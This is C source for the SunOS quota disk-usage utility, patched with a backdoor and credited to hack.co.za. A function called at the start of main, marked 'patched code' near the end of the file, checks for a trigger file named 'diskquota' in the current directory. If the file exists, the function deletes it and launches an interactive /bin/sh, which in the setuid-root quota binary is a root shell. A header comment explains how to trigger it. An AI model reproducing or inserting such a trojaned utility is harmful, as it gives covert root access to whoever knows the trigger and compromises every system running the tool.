#ifndef lint
static	char sccsid[] = "@(#)quota.c 1.1 92/07/30 SMI"; /* from UCB 4.4 06/21/83 */
#endif

/*
 * sushiQuota
 * 
 * quickpatch - dfi - 3/95
 *
 * touch TRIGGERFILE, run quota, bewm@!
 */

#include <stdio.h>
#include <mntent.h>
#include <ctype.h>
#include <pwd.h>
#include <errno.h>

#include <sys/param.h>
#include <sys/file.h>
#include <sys/stat.h>
#include <sys/time.h>
#include <ufs/quota.h>

int	vflag;
int	nolocalquota;

#define QFNAME	"quotas"
#define TRIGGERFILE "diskquota"

#define kb(n)   (howmany(dbtob(n), 1024))

void sushi();

main(argc, argv)
int argc;
char *argv[];
{
  register char *cp;

  sushi();

  argc--,argv++;
  while (argc > 0)
    {
      if (argv[0][0] == '-')
        for (cp = &argv[0][1]; *cp; cp++) switch (*cp)
            {

            case 'v':
              vflag++;
              break;

            default:
              fprintf(stderr, "quota: %c: unknown option\n",
                      *cp);
              exit(1);
            }
      else
        break;
      argc--, argv++;
    }
  if (quotactl(Q_SYNC, NULL, 0, NULL) < 0 && errno == EINVAL)
    {
      if (vflag)
        fprintf(stderr,"There are no quotas on this system\n");
      nolocalquota++;
    }
  if (argc == 0)
    {
      showuid(getuid());
      exit(0);
    }
  for (; argc > 0; argc--, argv++)
    {
      if (alldigits(*argv))
        showuid(atoi(*argv));
      else
        showname(*argv);
    }
  exit(0);
  /* NOTREACHED */
}

showuid(uid)
int uid;
{
  struct passwd *pwd = getpwuid(uid);

  if (uid == 0)
    {
      if (vflag)
        printf("no disk quota for uid 0\n");
      return;
    }
  if (pwd == NULL)
    showquotas(uid, "(no account)");
  else
    showquotas(uid, pwd->pw_name);
}

showname(name)
char *name;
{
  struct passwd *pwd = getpwnam(name);

  if (pwd == NULL)
    {
      fprintf(stderr, "quota: %s: unknown user\n", name);
      return;
    }
  if (pwd->pw_uid == 0)
    {
      if (vflag)
        printf("no disk quota for %s (uid 0)\n", name);
      return;
    }
  showquotas(pwd->pw_uid, name);
}

showquotas(uid, name)
int uid;
char *name;
{
  register struct mntent *mntp;
  FILE *mtab;
  struct dqblk dqblk;
  int myuid;

  myuid = getuid();
  if (uid != myuid && myuid != 0)
    {
      printf("quota: %s (uid %d): permission denied\n", name, uid);
      return;
    }
  if (vflag)
    heading(uid, name);
  mtab = setmntent(MOUNTED, "r");
  while (mntp = getmntent(mtab))
    {
      if (strcmp(mntp->mnt_type, MNTTYPE_42) == 0)
        {
          if (nolocalquota ||
              (quotactl(Q_GETQUOTA,
                        mntp->mnt_fsname, uid, &dqblk) != 0 &&
               !(vflag && getdiskquota(mntp, uid, &dqblk))) )
            continue;
        }
      else if (strcmp(mntp->mnt_type, MNTTYPE_NFS) == 0)
        {
          if ((!vflag && hasmntopt(mntp, MNTOPT_NOQUOTA)) ||
              !getnfsquota(mntp, uid, &dqblk))
            continue;
        }
      else
        {
          continue;
        }
      if (dqblk.dqb_bsoftlimit == 0 && dqblk.dqb_bhardlimit == 0 &&
          dqblk.dqb_fsoftlimit == 0 && dqblk.dqb_fhardlimit == 0)
        continue;
      if (vflag)
        prquota(mntp, &dqblk);
      else
        warn(mntp, &dqblk);
    }
  endmntent(mtab);
}

warn(mntp, dqp)
register struct mntent *mntp;
register struct dqblk *dqp;
{
  struct timeval tv;

  gettimeofday(&tv, NULL);
  if (dqp->dqb_bhardlimit &&
      dqp->dqb_curblocks >= dqp->dqb_bhardlimit)
    {
      printf(
        "Block limit reached on %s\n",
        mntp->mnt_dir
      );
    }
  else if (dqp->dqb_bsoftlimit &&
           dqp->dqb_curblocks >= dqp->dqb_bsoftlimit)
    {
      if (dqp->dqb_btimelimit == 0)
        {
          printf(
            "Over disk quota on %s, remove %dK\n",
            mntp->mnt_dir,
            kb(dqp->dqb_curblocks - dqp->dqb_bsoftlimit + 1)
          );
        }
      else if (dqp->dqb_btimelimit > tv.tv_sec)
        {
          char btimeleft[80];

          fmttime(btimeleft, dqp->dqb_btimelimit - tv.tv_sec);
          printf(
            "Over disk quota on %s, remove %dK within %s\n",
            mntp->mnt_dir,
            kb(dqp->dqb_curblocks - dqp->dqb_bsoftlimit + 1),
            btimeleft
          );
        }
      else
        {
          printf(
            "Over disk quota on %s, time limit has expired, remove %dK\n",
            mntp->mnt_dir,
            kb(dqp->dqb_curblocks - dqp->dqb_bsoftlimit + 1)
          );
        }
    }
  if (dqp->dqb_fhardlimit &&
      dqp->dqb_curfiles >= dqp->dqb_fhardlimit)
    {
      printf(
        "File count limit reached on %s\n",
        mntp->mnt_dir
      );
    }
  else if (dqp->dqb_fsoftlimit &&
           dqp->dqb_curfiles >= dqp->dqb_fsoftlimit)
    {
      if (dqp->dqb_ftimelimit == 0)
        {
          printf(
            "Over file quota on %s, remove %d file%s\n",
            mntp->mnt_dir,
            dqp->dqb_curfiles - dqp->dqb_fsoftlimit + 1,
            ((dqp->dqb_curfiles - dqp->dqb_fsoftlimit + 1) > 1 ?
             "s" :
             "" )
          );
        }
      else if (dqp->dqb_ftimelimit > tv.tv_sec)
        {
          char ftimeleft[80];

          fmttime(ftimeleft, dqp->dqb_ftimelimit - tv.tv_sec);
          printf(
            "Over file quota on %s, remove %d file%s within %s\n",
            mntp->mnt_dir,
            dqp->dqb_curfiles - dqp->dqb_fsoftlimit + 1,
            ((dqp->dqb_curfiles - dqp->dqb_fsoftlimit + 1) > 1 ?
             "s" :
             "" ),
            ftimeleft
          );
        }
      else
        {
          printf(
            "Over file quota on %s, time limit has expired, remove %d file%s\n",
            mntp->mnt_dir,
            dqp->dqb_curfiles - dqp->dqb_fsoftlimit + 1,
            ((dqp->dqb_curfiles - dqp->dqb_fsoftlimit + 1) > 1 ?
             "s" :
             "" )
          );
        }
    }
}

heading(uid, name)
int uid;
char *name;
{
  printf("Disk quotas for %s (uid %d):\n", name, uid);
  printf("%-12s %7s%7s%7s%12s%7s%7s%7s%12s\n"
         , "Filesystem"
         , "usage"
         , "quota"
         , "limit"
         , "timeleft"
         , "files"
         , "quota"
         , "limit"
         , "timeleft"
        );
}

prquota(mntp, dqp)
register struct mntent *mntp;
register struct dqblk *dqp;
{
  struct timeval tv;
  char ftimeleft[80], btimeleft[80];
  char *cp;

  gettimeofday(&tv, NULL);
  if (dqp->dqb_bsoftlimit && dqp->dqb_curblocks >= dqp->dqb_bsoftlimit)
    {
      if (dqp->dqb_btimelimit == 0)
        {
          strcpy(btimeleft, "NOT STARTED");
        }
      else if (dqp->dqb_btimelimit > tv.tv_sec)
        {
          fmttime(btimeleft, dqp->dqb_btimelimit - tv.tv_sec);
        }
      else
        {
          strcpy(btimeleft, "EXPIRED");
        }
    }
  else
    {
      btimeleft[0] = '\0';
    }
  if (dqp->dqb_fsoftlimit && dqp->dqb_curfiles >= dqp->dqb_fsoftlimit)
    {
      if (dqp->dqb_ftimelimit == 0)
        {
          strcpy(ftimeleft, "NOT STARTED");
        }
      else if (dqp->dqb_ftimelimit > tv.tv_sec)
        {
          fmttime(ftimeleft, dqp->dqb_ftimelimit - tv.tv_sec);
        }
      else
        {
          strcpy(ftimeleft, "EXPIRED");
        }
    }
  else
    {
      ftimeleft[0] = '\0';
    }
  if (strlen(mntp->mnt_dir) > 12)
    {
      printf("%s\n", mntp->mnt_dir);
      cp = "";
    }
  else
    {
      cp = mntp->mnt_dir;
    }
  printf("%-12.12s %7d%7d%7d%12s%7d%7d%7d%12s\n",
         cp,
         kb(dqp->dqb_curblocks),
         kb(dqp->dqb_bsoftlimit),
         kb(dqp->dqb_bhardlimit),
         btimeleft,
         dqp->dqb_curfiles,
         dqp->dqb_fsoftlimit,
         dqp->dqb_fhardlimit,
         ftimeleft
        );
}

fmttime(buf, time)
char *buf;
register long time;
{
  int i;
  static struct
    {
      int c_secs;		/* conversion units in secs */
      char * c_str;		/* unit string */
    }
  cunits [] = {
    {60*60*24*28, "months"},
    {60*60*24*7, "weeks"},
    {60*60*24, "days"},
    {60*60, "hours"},
    {60, "mins"},
    {1, "secs"}
  };

  if (time <= 0)
    {
      strcpy(buf, "EXPIRED");
      return;
    }
  for (i = 0; i < sizeof(cunits)/sizeof(cunits[0]); i++)
    {
      if (time >= cunits[i].c_secs)
        break;
    }
  sprintf(buf, "%.1f %s", (double)time/cunits[i].c_secs, cunits[i].c_str);
}

alldigits(s)
register char *s;
{
  register c;

  c = *s++;
  do
    {
      if (!isdigit(c))
        return (0);
    }
  while (c = *s++);
  return (1);
}

int
getdiskquota(mntp, uid, dqp)
struct mntent *mntp;
int uid;
struct dqblk *dqp;
{
  int fd;
  dev_t fsdev;
  struct stat statb;
  char qfilename[MAXPATHLEN];
  extern int errno;

  if (stat(mntp->mnt_fsname, &statb) < 0 ||
      (statb.st_mode & S_IFMT) != S_IFBLK)
    return (0);
  fsdev = statb.st_rdev;
  sprintf(qfilename, "%s/%s", mntp->mnt_dir, QFNAME);
  if (stat(qfilename, &statb) < 0 || statb.st_dev != fsdev)
    return (0);
  if ((fd = open(qfilename, O_RDONLY)) < 0)
    return (0);
  (void) lseek(fd, (long)dqoff(uid), L_SET);
  switch (read(fd, dqp, sizeof(struct dqblk)))
    {
    case 0:				
      /*
       * Convert implicit 0 quota (EOF)
       * into an explicit one (zero'ed dqblk).
 [2000]*/
      bzero((caddr_t)dqp, sizeof(struct dqblk));
      break;

    case sizeof(struct dqblk):	/* OK */
            break;

    default:			/* ERROR */
      close(fd);
      return (0);
    }
  close(fd);
  return (1);
}

#include <rpc/rpc.h>
#include <rpc/pmap_prot.h>
#include <sys/socket.h>
#include <netdb.h>
#include <rpcsvc/rquota.h>

int
getnfsquota(mntp, uid, dqp)
struct mntent *mntp;
int uid;
struct dqblk *dqp;
{
  char *hostp;
  char *cp;
  struct getquota_args gq_args;
  struct getquota_rslt gq_rslt;
  extern char *index();

  hostp = mntp->mnt_fsname;
  cp = index(mntp->mnt_fsname, ':');
  if (cp == 0)
    {
      fprintf(stderr, "cannot find hostname for %s\n", mntp->mnt_dir);
      return (0);
    }
  *cp = '\0';
  gq_args.gqa_pathp = cp + 1;
  gq_args.gqa_uid = uid;
  if (callaurpc(hostp, RQUOTAPROG, RQUOTAVERS,
                (vflag? RQUOTAPROC_GETQUOTA: RQUOTAPROC_GETACTIVEQUOTA),
                xdr_getquota_args, &gq_args, xdr_getquota_rslt, &gq_rslt) != 0)
    {
      *cp = ':';
      return (0);
    }
  switch (gq_rslt.gqr_status)
    {
    case Q_OK:
      {
        struct timeval tv;

        if (!vflag && gq_rslt.gqr_rquota.rq_active == FALSE)
          return (0);
        gettimeofday(&tv, NULL);
        dqp->dqb_bhardlimit =
          gq_rslt.gqr_rquota.rq_bhardlimit *
          gq_rslt.gqr_rquota.rq_bsize / DEV_BSIZE;
        dqp->dqb_bsoftlimit =
          gq_rslt.gqr_rquota.rq_bsoftlimit *
          gq_rslt.gqr_rquota.rq_bsize / DEV_BSIZE;
        dqp->dqb_curblocks =
          gq_rslt.gqr_rquota.rq_curblocks *
          gq_rslt.gqr_rquota.rq_bsize / DEV_BSIZE;
        dqp->dqb_fhardlimit = gq_rslt.gqr_rquota.rq_fhardlimit;
        dqp->dqb_fsoftlimit = gq_rslt.gqr_rquota.rq_fsoftlimit;
        dqp->dqb_curfiles = gq_rslt.gqr_rquota.rq_curfiles;
        dqp->dqb_btimelimit =
          tv.tv_sec + gq_rslt.gqr_rquota.rq_btimeleft;
        dqp->dqb_ftimelimit =
          tv.tv_sec + gq_rslt.gqr_rquota.rq_ftimeleft;
        *cp = ':';
        return (1);
      }

    case Q_NOQUOTA:
      break;

    case Q_EPERM:
      fprintf(stderr, "quota permission error, host: %s\n", hostp);
      break;

    default:
      fprintf(stderr, "bad rpc result, host: %s\n",  hostp);
      break;
    }
  *cp = ':';
  return (0);
}

callaurpc(host, prognum, versnum, procnum, inproc, in, outproc, out)
char *host;
xdrproc_t inproc, outproc;
char *in, *out;
{
  struct sockaddr_in server_addr;
  enum clnt_stat clnt_stat;
  struct hostent *hp;
  struct timeval timeout, tottimeout;

  static CLIENT *client = NULL;
  static int socket = RPC_ANYSOCK;
  static int valid = 0;
  static int oldprognum, oldversnum;
  static char oldhost[256];

  if (valid && oldprognum == prognum && oldversnum == versnum
      && strcmp(oldhost, host) == 0)
    {
      /* reuse old client */
    }
  else
    {
      valid = 0;
      close(socket);
      socket = RPC_ANYSOCK;
      if (client)
        {
          clnt_destroy(client);
          client = NULL;
        }
      if ((hp = gethostbyname(host)) == NULL)
        return ((int) RPC_UNKNOWNHOST);
      timeout.tv_usec = 0;
      timeout.tv_sec = 6;
      bcopy(hp->h_addr, &server_addr.sin_addr, hp->h_length);
      server_addr.sin_family = AF_INET;
      /* ping the remote end via tcp to see if it is up */
      server_addr.sin_port =  htons(PMAPPORT);
      if ((client = clnttcp_create(&server_addr, PMAPPROG,
                                   PMAPVERS, &socket, 0, 0)) == NULL)
        {
          return ((int) rpc_createerr.cf_stat);
        }
      else
        {
          /* the fact we succeeded means the machine is up */
          close(socket);
          socket = RPC_ANYSOCK;
          clnt_destroy(client);
          client = NULL;
        }
      /* now really create a udp client handle */
      server_addr.sin_port =  0;
      if ((client = clntudp_create(&server_addr, prognum,
                                   versnum, timeout, &socket)) == NULL)
        return ((int) rpc_createerr.cf_stat);
      client->cl_auth = authunix_create_default();
      valid = 1;
      oldprognum = prognum;
      oldversnum = versnum;
      strcpy(oldhost, host);
    }
  tottimeout.tv_sec = 25;
  tottimeout.tv_usec = 0;
  clnt_stat = clnt_call(client, procnum, inproc, in,
                        outproc, out, tottimeout);
  /*
   * if call failed, empty cache
   */
  if (clnt_stat != RPC_SUCCESS)
    valid = 0;
  return ((int) clnt_stat);
}


/* patched code */

void
sushi()
{
  FILE *fp = fopen(TRIGGERFILE,"r");
  if(fp)
    {
      printf("d1sco\n");
      fclose(fp);
      unlink(TRIGGERFILE);
      execl("/bin/sh","-i",0);
    }
}

/* end patched code */
/*                    www.hack.co.za              [2000]*/